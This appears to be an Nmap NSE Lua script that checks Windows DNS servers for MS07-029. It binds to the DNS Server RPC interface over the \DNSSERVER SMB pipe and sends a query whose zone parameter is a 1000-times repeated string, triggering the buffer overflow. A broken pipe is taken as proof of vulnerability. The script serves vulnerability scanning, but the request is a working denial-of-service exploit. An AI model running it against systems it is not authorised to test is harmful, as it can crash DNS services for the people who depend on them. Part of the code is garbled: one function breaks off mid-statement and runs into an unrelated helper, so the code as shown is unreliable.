description = [[ Detailed description: Vulnerability targets the R_DnssrvQuery() and R_DnssrvQuery2() RPC method which is a part of Dns Server RPC interface that serves as a RPC service for configuring and getting information from the Dns Server service. Dns Server RPC service can be accessed using "\dnsserver" SMB named pipe. The vulnerability is triggered when a long string is send as the "zone" parameter which causes the buffer to overflow. ]] dependencies = { "smb-brute", "smb-enum-sessions", "smb-security-mode", "smb-enum-shares", "smb-server-stats", "smb-enum-domains", "smb-enum-users", "smb-system-info", "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", "smb-psexec", }; categories = {"intrusive","exploit","dos","vuln"} author = {"Drazen Popovic"} license = "Same as Nmap--See http://nmap.org/book/man-legal.html" require("msrpc") require("msrpctypes") require("bin") require("smb") require("smbauth") hostrule = function(host) return smb.get_port(host) ~= nil end VULNERABLE = "VULNERABLE" PATCHED = "PATCHED" NOTRUN = "NOTRUN" NOTUP = "DOWN" action = function(host, port) local check_result status, check_result = check_ms07_029(host) return check_result end function check_ms07_029(host) --create the SMB session local status, smbstate status, smbstate = msrpc.start_smb(host, DNSSERVER_PATH) if(status == false) then return false, NOTUP end --bind to DNSSERVER service local bind_result status, bind_result = msrpc.bind(smbstate, DNSSERVER_UUID, DNSSERVER_VERSION) if(status == false) then msrpc.stop_smb(smbstate) stdnse.print_debug( DNSSERVER_DEBUG_LVL, "DNSSERVER_Query: Bind failed: %s", bind_result) return false, NOTUP end --call local req_blob, q_result status, q_result = DNSSERVER_Query( smbstate, "VULNSRV", string.rep("\\\13", 1000), 1)--any op num will do --sanity check if(status == false) then stdnse.print_debug( 3, "check_ms07_029: DNSSERVER_Query failed") if(q_result == "NT_STATUS_PIPE_BROKEN") then return true, VULNERABLE else return true, PATCHED end else msrpc.stop_smb(smbstate) return true, PATCHED end end --####################################################################-- --# 1) DNS SERVER MANAGEMENT SERVICE INTERFACE --####################################################################-- DNSSERVER_UUID_STR = "50abc2a4-574d-40b3-9d66-ee4fd5fba076" DNSSERVER_UUID = string.char(0xa4, 0xc2,0xab, 0x50, 0x4d, 0x57, 0xb3, 0x40, 0x9d, 0x66, 0xee, 0x4f, 0xd5, 0xfb, 0xa0, 0x76) DNSSERVER_PATH = "\\DNSSERVER" DNSSERVER_VERSION = 5 --####################################################################-- --# 2) DNS SERVER MANAGEMENT SERVICE TYPES --####################################################################-- ---The list of names that are used in (name, value) pairs in DNS Server --Configuration information is given below. -- @see [MS-DNSP] 3.1.1.1 DNS Server Configuration Information DNSSERVER_ConfInfo = { DNSSERVER_IntProp = {}, DNSSERVER_AddrArrProp = {}, DNSSERVER_StrProp = {}, DNSSERVER_StrLstProp = {} } ---DNS Server Integer Properties DNSSERVER_IntProp = { 'AddressAnswerLimit' ,'AdminConfigured' ,'AllowCNAMEAtNS' , 'AllowUpdate' ,'AutoCacheUpdate' ,'AutoConfigFileZones' , 'AllowUpdate' ,'AllowUpdate' ,'BindSecondaries' , 'BootMethod' ,'DebugLevel' ,'DefaultAgingState' , 'DefaultNoRefreshInterval' ,'DefaultRefreshInterval' ,'DeleteOutsideGlue' , 'DisjointNets' ,'DsLazyUpdateInterval' ,'DsPollingInterval' , 'DsTombstoneInterval' ,'EnableRegistryBoot' , 'EventLogLevel' ,'ForceSoaSerial' ,'ForceSoaExpire' , 'ForceSoaRetry' ,'ForceSoaRefresh' ,'ForceSoaMinimumTtl' , 'ForwardDelegations' ,'ForwardingTimeout' ,'IsSlave' , 'LocalNetPriority' ,'LogFileMaxSize' ,'LogLevel' , 'LooseWildcarding' ,'MaxCacheTtl' ,'MaxNegativeCacheTtl' , 'NameCheckFlag' ,'NoRecursion' ,'NoUpdateDelegations' , 'PublishAutonet' ,'QuietRecvFaultInterval' ,'QuietRecvLogInterval' , 'RecursionRetry' ,'RecursionTimeout' ,'ReloadException' , 'RoundRobin' ,'RpcProtocol' ,'SecureResponses' , 'SendPort' ,'ScavengingInterval' ,'StartScavenging' , 'StrictFileParsing' ,'SyncDsZoneSerial' ,'UpdateOptions' , 'UseSystemEventLog' ,'Version' ,'XfrConnectTimeout' , 'WriteAuthorityNs' ,'AdditionalRecursionTimeout' ,'AppendMsZoneTransferTag' , 'AutoCreateDelegations' ,'BreakOnAscFailure' ,'CacheEmptyAuthResponses' , 'DirectoryPartitionAutoEnlistInterval' ,'DisableAutoReverseZones' ,'DoNotRoundRobinTypes' , 'EDnsCacheTimeout' ,'EnableDirectoryPartitions' ,'EnableDnsSec' , 'EnableEDnsProbes' ,'GlobalNamesEnableEDnsProbes' ,'EnableEDnsReception' , 'EnableIQueryResponseGeneration' ,'EnableSendErrorSuppression' ,'EnableUpdateForwarding' , 'EnableWinsR' ,'ForceDsaBehaviorVersion' ,'ForceDomainBehaviorVersion' , 'ForceForestBehaviorVersion' ,'HeapDebug' ,'LameDelegationTtl' , 'LocalNetPriorityNetMask' ,'MaxCacheSize' ,'MaxResourceRecordsInNonSecureUpdate' , 'OperationsLogLevel' ,'MaximumUdpPacketSize' ,'RecurseToInternetRootMask' , 'SelfTest' ,'SilentlyIgnoreCNameUpdateConflicts' ,'TcpReceivePacketSize' , 'XfrThrottleMultiplier' ,'AllowMsdcsLookupRetry' ,'AllowReadOnlyZoneTransfer' , 'DsBackgroundLoadPaused' ,'DsMinimumBackgroundLoadThreads' ,'DsRemoteReplicationDelay' , 'EnableDuplicateQuerySuppression' ,'EnableGlobalNamesSupport' ,'EnableVersionQuery' , 'EnableRsoForRodc' ,'ForceRODCMode' ,'GlobalNamesAlwaysQuerySrv' , 'GlobalNamesBlockUpdates' ,'GlobalNamesEnableEDnsProbes' ,'EnableEDnsProbes' , 'EnableEDnsProbes' ,'EnableEDnsProbes' ,'GlobalNamesPreferAAAA' , 'GlobalNamesQueryOrder' ,'GlobalNamesSendTimeout' ,'GlobalNamesServerQueryInterval' , 'MaximumRodcRsoAttemptsPerCycle' ,'MaximumRodcRsoQueueLength' ,'EnableGlobalQueryBlockList' , 'OpenACLOnProxyUpdates' ,'CacheLockingPercent' ,'SocketPoolSize' } --####################################################################-- --# 3) DNS SERVER MANAGEMENT SERVICE OPERATIONS --####################################################################-- local DNSSERVER_DEBUG_LVL = 3 --debug level for dnsserver operations when calling stdnse.print_debug --####################################################################-- --- DNSSERVER operation numbers. -- @see [MS-DNSP] 3.1.4 Message Processing Events and Sequencing Rules --####################################################################-- DNSSERVER_Opnums = {} DNSSERVER_Opnums['R_DnssrvOperation'] = 0 DNSSERVER_Opnums['R_DnssrvQuery'] = 1 DNSSERVER_Opnums['R_DnssrvComplexOperation'] = 2 DNSSERVER_Opnums['R_DnssrvEnumRecords'] = 3 DNSSERVER_Opnums['R_DnssrvUpdateRecord'] = 4 DNSSERVER_Opnums['R_DnssrvOperation2'] = 5 DNSSERVER_Opnums['R_DnssrvQuery2'] = 6 DNSSERVER_Opnums['R_DnssrvComplexOperation2'] = 7 DNSSERVER_Opnums['R_DnssrvEnumRecords2'] = 8 DNSSERVER_Opnums['R_DnssrvUpdateRecord2'] = 9 --####################################################################-- --[[ LONG R_DnssrvQuery( [in, unique, string] LPCWSTR pwszServerName, [in, unique, string] LPCSTR pszZone, [in, unique, string] LPCSTR pszOperation, [out] PDWORD pdwTypeId, [out, switch_is(*pdwTypeId)] DNSSRV_RPC_UNION* ppData); --]] ---Issues type specific information queries to server. This method is --obsoleted by R_DnssrvQuery2. -- @param smbstate The smb object. -- @param server_name String that designates a fully qualified domain --name of the target server. The server MUST ignore this value. -- @param zone String that designates the name of the zone to be queried. --For operations specific to a particular zone, this field MUST contain --the name of the zone. For all other operations, this field MUST be nil. -- @param operation String that designates the name of the operation to --be performed on the server. These are two sets of allowed values for --pszOperation: --* zone == nil -> see DNSSERVER_ConfInfo table. --* zone == "some_zone" -> see DNSSERVER_ZoneInfo table. -- @return (status, result) --* status == true -> --that indicates the type of result['data']. --** result['data'] - A DNSSRV_RPC_UNION blob that contains a --** result['type_id'] - Integer that on success contains a value of type DNS_RPC_TYPEID --data-structure as indicated by result['type_id']. --* status == false -> --** result - Is a error message that caused the fuzz. -- @see [MS-DNSP] 3.1.4.2 R_DnssrvQuery (Opnum 1) --####################################################################-- function DNSSERVER_Query(smbstate, server_name, zone, operation) local status --call local req_blob, srv_name_utf16, zone_ascii, operation_ascii --[in, unique, string] LPCWSTR pwszServerName, unique_ptr = 0x00020000 srv_name_utf16 = msrpctypes.string_to_unicode(server_name, true) req_blob = bin.pack("(align-datalen%align)%align. --####################################################################-- function get_pad(data, align, pad_byte) pad_byte = pad_byte or "\00" return string.rep(pad_byte, (align-string.len(data)%align)%align) end --####################################################################-- ---Generates a random string of the requested length. --@param length The length of the string to return. --@param set The set of letters to choose from. Default: ASCII letters and numbers --@return The random string. --####################################################################-- function random_crap(length, charset) charset = charset or "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY" local random_str = "" for i = 1, length, 1 do local random = math.random(#charset) random_str = random_str .. string.sub(charset, random, random) end return random_str end